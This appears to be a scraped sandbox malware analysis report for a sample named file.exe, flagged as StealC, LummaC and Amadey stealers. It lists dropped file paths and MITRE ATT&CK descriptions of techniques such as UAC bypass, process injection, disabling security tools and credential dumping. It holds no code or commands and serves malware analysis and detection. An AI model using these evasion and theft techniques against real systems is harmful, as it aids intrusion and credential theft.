Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\CR7UQWGVREF7AZUSI54N0N8MGR.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\GVDV7NGS54W9A7T64.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RIT5CLJSOG1HZLWAHXIC60.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Windows Analysis Report
file.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre